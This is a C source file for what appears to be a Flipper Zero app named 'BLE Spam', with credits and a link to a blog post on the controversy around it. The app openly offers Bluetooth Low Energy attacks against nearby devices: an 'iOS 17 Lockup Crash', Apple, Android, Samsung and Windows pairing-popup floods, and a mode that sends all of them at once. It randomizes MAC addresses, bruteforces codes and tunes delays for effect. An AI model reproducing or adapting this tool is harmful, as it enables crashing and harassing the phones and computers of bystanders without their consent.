ble_spam.c 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "iOS 17 Lockup Crash",
  26. .text = "Newer iPhones, long range",
  27. .protocol = &protocol_continuity,
  28. .payload =
  29. {
  30. .random_mac = false,
  31. .cfg.continuity =
  32. {
  33. .type = ContinuityTypeCustomCrash,
  34. },
  35. },
  36. },
  37. {
  38. .title = "Apple Action Modal",
  39. .text = "Lock cooldown, long range",
  40. .protocol = &protocol_continuity,
  41. .payload =
  42. {
  43. .random_mac = false,
  44. .cfg.continuity =
  45. {
  46. .type = ContinuityTypeNearbyAction,
  47. },
  48. },
  49. },
  50. {
  51. .title = "Apple Device Popup",
  52. .text = "No cooldown, close range",
  53. .protocol = &protocol_continuity,
  54. .payload =
  55. {
  56. .random_mac = false,
  57. .cfg.continuity =
  58. {
  59. .type = ContinuityTypeProximityPair,
  60. },
  61. },
  62. },
  63. {
  64. .title = "Android Device Connect",
  65. .text = "Reboot cooldown, long range",
  66. .protocol = &protocol_fastpair,
  67. .payload =
  68. {
  69. .random_mac = true,
  70. .cfg.fastpair = {},
  71. },
  72. },
  73. {
  74. .title = "Samsung Buds Popup",
  75. .text = "No cooldown, long range",
  76. .protocol = &protocol_easysetup,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.easysetup =
  81. {
  82. .type = EasysetupTypeBuds,
  83. },
  84. },
  85. },
  86. {
  87. .title = "Samsung Watch Pair",
  88. .text = "No cooldown, long range",
  89. .protocol = &protocol_easysetup,
  90. .payload =
  91. {
  92. .random_mac = true,
  93. .cfg.easysetup =
  94. {
  95. .type = EasysetupTypeWatch,
  96. },
  97. },
  98. },
  99. {
  100. .title = "Windows Device Found",
  101. .text = "No cooldown, short range",
  102. .protocol = &protocol_swiftpair,
  103. .payload =
  104. {
  105. .random_mac = true,
  106. .cfg.swiftpair = {},
  107. },
  108. },
  109. };
  110. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  111. static uint16_t delays[] = {20, 50, 100, 200, 500};
  112. typedef struct {
  113. Ctx ctx;
  114. View* main_view;
  115. bool lock_warning;
  116. uint8_t lock_count;
  117. FuriTimer* lock_timer;
  118. bool advertising;
  119. uint8_t delay;
  120. GapExtraBeaconConfig config;
  121. FuriThread* thread;
  122. int8_t index;
  123. bool ignore_bruteforce;
  124. } State;
  125. const NotificationSequence solid_message = {
  126. &message_red_0,
  127. &message_green_255,
  128. &message_blue_255,
  129. &message_do_not_reset,
  130. &message_delay_10,
  131. NULL,
  132. };
  133. NotificationMessage blink_message = {
  134. .type = NotificationMessageTypeLedBlinkStart,
  135. .data.led_blink.color = LightBlue | LightGreen,
  136. .data.led_blink.on_time = 10,
  137. .data.led_blink.period = 100,
  138. };
  139. const NotificationSequence blink_sequence = {
  140. &blink_message,
  141. &message_do_not_reset,
  142. NULL,
  143. };
  144. static void start_blink(State* state) {
  145. uint16_t period = delays[state->delay];
  146. if(period <= 100) period += 30;
  147. blink_message.data.led_blink.period = period;
  148. notification_message_block(state->ctx.notification, &blink_sequence);
  149. }
  150. static void stop_blink(State* state) {
  151. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  152. }
  153. static void randomize_mac(State* state) {
  154. furi_hal_random_fill_buf(state->config.address, sizeof(state->config.address));
  155. }
  156. static void start_extra_beacon(State* state) {
  157. uint8_t size;
  158. uint8_t* packet;
  159. uint16_t delay = delays[state->delay];
  160. GapExtraBeaconConfig* config = &state->config;
  161. Payload* payload = &attacks[state->index].payload;
  162. const Protocol* protocol = attacks[state->index].protocol;
  163. config->min_adv_interval_ms = delay;
  164. config->max_adv_interval_ms = delay * 1.5;
  165. if(payload->random_mac) randomize_mac(state);
  166. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  167. if(protocol) {
  168. protocol->make_packet(&size, &packet, payload);
  169. } else {
  170. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  171. }
  172. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  173. free(packet);
  174. furi_check(furi_hal_bt_extra_beacon_start());
  175. }
  176. static int32_t adv_thread(void* _ctx) {
  177. State* state = _ctx;
  178. Payload* payload = &attacks[state->index].payload;
  179. const Protocol* protocol = attacks[state->index].protocol;
  180. if(!payload->random_mac) randomize_mac(state);
  181. if(state->ctx.led_indicator) start_blink(state);
  182. while(state->advertising) {
  183. if(protocol && payload->mode == PayloadModeBruteforce &&
  184. payload->bruteforce.counter++ >= 10) {
  185. payload->bruteforce.counter = 0;
  186. payload->bruteforce.value =
  187. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  188. }
  189. start_extra_beacon(state);
  190. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  191. furi_hal_bt_extra_beacon_stop();
  192. }
  193. if(state->ctx.led_indicator) stop_blink(state);
  194. return 0;
  195. }
  196. static void toggle_adv(State* state) {
  197. if(state->advertising) {
  198. state->advertising = false;
  199. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  200. furi_thread_join(state->thread);
  201. } else {
  202. state->advertising = true;
  203. furi_thread_start(state->thread);
  204. }
  205. }
  206. #define PAGE_MIN (-5)
  207. #define PAGE_MAX ATTACKS_COUNT
  208. enum {
  209. PageHelpBruteforce = PAGE_MIN,
  210. PageHelpApps,
  211. PageHelpDelay,
  212. PageHelpDistance,
  213. PageHelpInfoConfig,
  214. PageStart = 0,
  215. PageEnd = ATTACKS_COUNT - 1,
  216. PageAboutCredits = PAGE_MAX,
  217. };
  218. static void draw_callback(Canvas* canvas, void* _ctx) {
  219. State* state = *(State**)_ctx;
  220. const char* back = "Back";
  221. const char* next = "Next";
  222. if(state->index < 0) {
  223. back = "Next";
  224. next = "Back";
  225. }
  226. switch(state->index) {
  227. case PageStart - 1:
  228. next = "Spam";
  229. break;
  230. case PageStart:
  231. back = "Help";
  232. break;
  233. case PageEnd:
  234. next = "About";
  235. break;
  236. case PageEnd + 1:
  237. back = "Spam";
  238. break;
  239. }
  240. const Attack* attack =
  241. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  242. const Payload* payload = attack ? &attack->payload : NULL;
  243. const Protocol* protocol = attack ? attack->protocol : NULL;
  244. canvas_set_font(canvas, FontSecondary);
  245. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  246. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  247. switch(state->index) {
  248. case PageHelpBruteforce:
  249. canvas_set_font(canvas, FontBatteryPercent);
  250. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  251. elements_text_box(
  252. canvas,
  253. 4,
  254. 16,
  255. 120,
  256. 48,
  257. AlignLeft,
  258. AlignTop,
  259. "\e#Bruteforce\e# cycles codes\n"
  260. "to find popups, hold left and\n"
  261. "right to send manually and\n"
  262. "change delay",
  263. false);
  264. break;
  265. case PageHelpApps:
  266. canvas_set_font(canvas, FontBatteryPercent);
  267. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  268. elements_text_box(
  269. canvas,
  270. 4,
  271. 16,
  272. 120,
  273. 48,
  274. AlignLeft,
  275. AlignTop,
  276. "\e#Some Apps\e# interfere\n"
  277. "with the attacks, stay on\n"
  278. "homescreen for best results",
  279. false);
  280. break;
  281. case PageHelpDelay:
  282. canvas_set_font(canvas, FontBatteryPercent);
  283. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  284. elements_text_box(
  285. canvas,
  286. 4,
  287. 16,
  288. 120,
  289. 48,
  290. AlignLeft,
  291. AlignTop,
  292. "\e#Delay\e# is time between\n"
  293. "attack attempts (top right),\n"
  294. "keep 20ms for best results",
  295. false);
  296. break;
  297. case PageHelpDistance:
  298. canvas_set_font(canvas, FontBatteryPercent);
  299. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  300. elements_text_box(
  301. canvas,
  302. 4,
  303. 16,
  304. 120,
  305. 48,
  306. AlignLeft,
  307. AlignTop,
  308. "\e#Distance\e# varies greatly:\n"
  309. "some are long range (>30 m)\n"
  310. "others are close range (<1 m)",
  311. false);
  312. break;
  313. case PageHelpInfoConfig:
  314. canvas_set_font(canvas, FontBatteryPercent);
  315. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  316. elements_text_box(
  317. canvas,
  318. 4,
  319. 16,
  320. 120,
  321. 48,
  322. AlignLeft,
  323. AlignTop,
  324. "See \e#more info\e# and change\n"
  325. "\e#attack options\e# by holding\n"
  326. "Ok on each attack page",
  327. false);
  328. break;
  329. case PageAboutCredits:
  330. canvas_set_font(canvas, FontBatteryPercent);
  331. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  332. elements_text_box(
  333. canvas,
  334. 4,
  335. 16,
  336. 122,
  337. 48,
  338. AlignLeft,
  339. AlignTop,
  340. "App+Spam: \e#WillyJL\e# MNTM\n"
  341. "Apple+Crash: \e#ECTO-1A\e#\n"
  342. "Android+Win: \e#Spooks4576\e#\n"
  343. " Version \e#5.1\e#",
  344. false);
  345. break;
  346. default: {
  347. if(!attack) break;
  348. if(state->ctx.lock_keyboard && !state->advertising) {
  349. // Forgive me Lord for I have sinned by handling state in draw
  350. toggle_adv(state);
  351. }
  352. char str[32];
  353. canvas_set_font(canvas, FontBatteryPercent);
  354. if(payload->mode == PayloadModeBruteforce) {
  355. snprintf(
  356. str,
  357. sizeof(str),
  358. "0x%0*lX",
  359. payload->bruteforce.size * 2,
  360. payload->bruteforce.value);
  361. } else {
  362. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  363. }
  364. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  365. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  366. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  367. canvas_set_font(canvas, FontBatteryPercent);
  368. if(payload->mode == PayloadModeBruteforce) {
  369. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  370. if(delays[state->delay] < 100) {
  371. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  372. } else {
  373. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  374. }
  375. uint16_t w = canvas_string_width(canvas, str);
  376. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  377. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  378. canvas_invert_color(canvas);
  379. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  380. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  381. canvas_invert_color(canvas);
  382. } else {
  383. snprintf(
  384. str,
  385. sizeof(str),
  386. "%02i/%02i: %s",
  387. state->index + 1,
  388. ATTACKS_COUNT,
  389. protocol ? protocol->get_name(payload) : "Everything AND");
  390. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  391. }
  392. canvas_set_font(canvas, FontPrimary);
  393. canvas_draw_str(canvas, 4, 33, attack->title);
  394. canvas_set_font(canvas, FontSecondary);
  395. canvas_draw_str(canvas, 4, 46, attack->text);
  396. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  397. break;
  398. }
  399. }
  400. if(state->index > PAGE_MIN) {
  401. elements_button_left(canvas, back);
  402. }
  403. if(state->index < PAGE_MAX) {
  404. elements_button_right(canvas, next);
  405. }
  406. if(state->lock_warning) {
  407. canvas_set_font(canvas, FontSecondary);
  408. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  409. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  410. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  411. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  412. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  413. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  414. canvas_draw_dot(canvas, 17, 61);
  415. }
  416. }
  417. static bool input_callback(InputEvent* input, void* _ctx) {
  418. View* view = _ctx;
  419. State* state = *(State**)view_get_model(view);
  420. bool consumed = false;
  421. if(state->ctx.lock_keyboard) {
  422. consumed = true;
  423. with_view_model(
  424. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  425. if(state->lock_count == 0) {
  426. furi_timer_start(state->lock_timer, 1000);
  427. }
  428. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  429. state->lock_count++;
  430. }
  431. if(state->lock_count >= 3) {
  432. furi_timer_start(state->lock_timer, 1);
  433. }
  434. } else if(
  435. input->type == InputTypeShort || input->type == InputTypeLong ||
  436. input->type == InputTypeRepeat) {
  437. consumed = true;
  438. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  439. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  440. bool advertising = state->advertising;
  441. switch(input->key) {
  442. case InputKeyOk:
  443. if(is_attack) {
  444. if(input->type == InputTypeLong) {
  445. if(advertising) toggle_adv(state);
  446. state->ctx.attack = &attacks[state->index];
  447. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  448. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  449. } else if(input->type == InputTypeShort) {
  450. toggle_adv(state);
  451. }
  452. }
  453. break;
  454. case InputKeyUp:
  455. if(is_attack) {
  456. if(payload->mode == PayloadModeBruteforce) {
  457. payload->bruteforce.counter = 0;
  458. payload->bruteforce.value =
  459. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  460. } else if(state->delay < COUNT_OF(delays) - 1) {
  461. state->delay++;
  462. if(advertising) start_blink(state);
  463. }
  464. }
  465. break;
  466. case InputKeyDown:
  467. if(is_attack) {
  468. if(payload->mode == PayloadModeBruteforce) {
  469. payload->bruteforce.counter = 0;
  470. payload->bruteforce.value =
  471. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  472. } else if(state->delay > 0) {
  473. state->delay--;
  474. if(advertising) start_blink(state);
  475. }
  476. }
  477. break;
  478. case InputKeyLeft:
  479. if(input->type == InputTypeLong) {
  480. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  481. true;
  482. }
  483. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  484. payload->mode != PayloadModeBruteforce) {
  485. if(state->index > PAGE_MIN) {
  486. if(advertising) toggle_adv(state);
  487. state->index--;
  488. }
  489. } else {
  490. if(!advertising) {
  491. Payload* payload = &attacks[state->index].payload;
  492. if(input->type == InputTypeLong && !payload->random_mac) randomize_mac(state);
  493. start_extra_beacon(state);
  494. if(state->ctx.led_indicator)
  495. notification_message(state->ctx.notification, &solid_message);
  496. furi_delay_ms(10);
  497. furi_hal_bt_extra_beacon_stop();
  498. if(state->ctx.led_indicator)
  499. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  500. }
  501. }
  502. break;
  503. case InputKeyRight:
  504. if(input->type == InputTypeLong) {
  505. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  506. true;
  507. }
  508. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  509. payload->mode != PayloadModeBruteforce) {
  510. if(state->index < PAGE_MAX) {
  511. if(advertising) toggle_adv(state);
  512. state->index++;
  513. }
  514. } else if(input->type == InputTypeLong) {
  515. state->delay = (state->delay + 1) % COUNT_OF(delays);
  516. if(advertising) start_blink(state);
  517. }
  518. break;
  519. case InputKeyBack:
  520. if(advertising) toggle_adv(state);
  521. consumed = false;
  522. break;
  523. default:
  524. break;
  525. }
  526. }
  527. view_commit_model(view, consumed);
  528. return consumed;
  529. }
  530. static void lock_timer_callback(void* _ctx) {
  531. State* state = _ctx;
  532. if(state->lock_count < 3) {
  533. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  534. } else {
  535. state->ctx.lock_keyboard = false;
  536. }
  537. with_view_model(
  538. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  539. state->lock_count = 0;
  540. }
  541. static void tick_event_callback(void* _ctx) {
  542. State* state = _ctx;
  543. bool advertising;
  544. with_view_model(
  545. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  546. scene_manager_handle_tick_event(state->ctx.scene_manager);
  547. }
  548. static bool back_event_callback(void* _ctx) {
  549. State* state = _ctx;
  550. return scene_manager_handle_back_event(state->ctx.scene_manager);
  551. }
  552. int32_t ble_spam(void* p) {
  553. UNUSED(p);
  554. GapExtraBeaconConfig prev_cfg;
  555. const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
  556. if(prev_cfg_ptr) {
  557. memcpy(&prev_cfg, prev_cfg_ptr, sizeof(prev_cfg));
  558. }
  559. uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
  560. uint8_t prev_data_len = furi_hal_bt_extra_beacon_get_data(prev_data);
  561. bool prev_active = furi_hal_bt_extra_beacon_is_active();
  562. State* state = malloc(sizeof(State));
  563. state->config.adv_channel_map = GapAdvChannelMapAll;
  564. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  565. state->config.address_type = GapAddressTypePublic;
  566. state->thread = furi_thread_alloc();
  567. furi_thread_set_callback(state->thread, adv_thread);
  568. furi_thread_set_context(state->thread, state);
  569. furi_thread_set_stack_size(state->thread, 2048);
  570. state->ctx.led_indicator = true;
  571. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  572. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  573. Gui* gui = furi_record_open(RECORD_GUI);
  574. state->ctx.view_dispatcher = view_dispatcher_alloc();
  575. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  576. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  577. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  578. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  579. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  580. state->main_view = view_alloc();
  581. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  582. with_view_model(
  583. state->main_view, State * *model, { *model = state; }, false);
  584. view_set_context(state->main_view, state->main_view);
  585. view_set_draw_callback(state->main_view, draw_callback);
  586. view_set_input_callback(state->main_view, input_callback);
  587. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  588. state->ctx.byte_input = byte_input_alloc();
  589. view_dispatcher_add_view(
  590. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  591. state->ctx.submenu = submenu_alloc();
  592. view_dispatcher_add_view(
  593. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  594. state->ctx.text_input = text_input_alloc();
  595. view_dispatcher_add_view(
  596. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  597. state->ctx.variable_item_list = variable_item_list_alloc();
  598. view_dispatcher_add_view(
  599. state->ctx.view_dispatcher,
  600. ViewVariableItemList,
  601. variable_item_list_get_view(state->ctx.variable_item_list));
  602. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  603. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  604. view_dispatcher_run(state->ctx.view_dispatcher);
  605. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  606. byte_input_free(state->ctx.byte_input);
  607. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  608. submenu_free(state->ctx.submenu);
  609. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  610. text_input_free(state->ctx.text_input);
  611. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  612. variable_item_list_free(state->ctx.variable_item_list);
  613. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  614. view_free(state->main_view);
  615. scene_manager_free(state->ctx.scene_manager);
  616. view_dispatcher_free(state->ctx.view_dispatcher);
  617. furi_record_close(RECORD_GUI);
  618. furi_record_close(RECORD_NOTIFICATION);
  619. furi_timer_free(state->lock_timer);
  620. furi_thread_free(state->thread);
  621. free(state);
  622. if(prev_cfg_ptr) {
  623. furi_check(furi_hal_bt_extra_beacon_set_config(&prev_cfg));
  624. }
  625. furi_check(furi_hal_bt_extra_beacon_set_data(prev_data, prev_data_len));
  626. if(prev_active) {
  627. furi_check(furi_hal_bt_extra_beacon_start());
  628. }
  629. return 0;
  630. }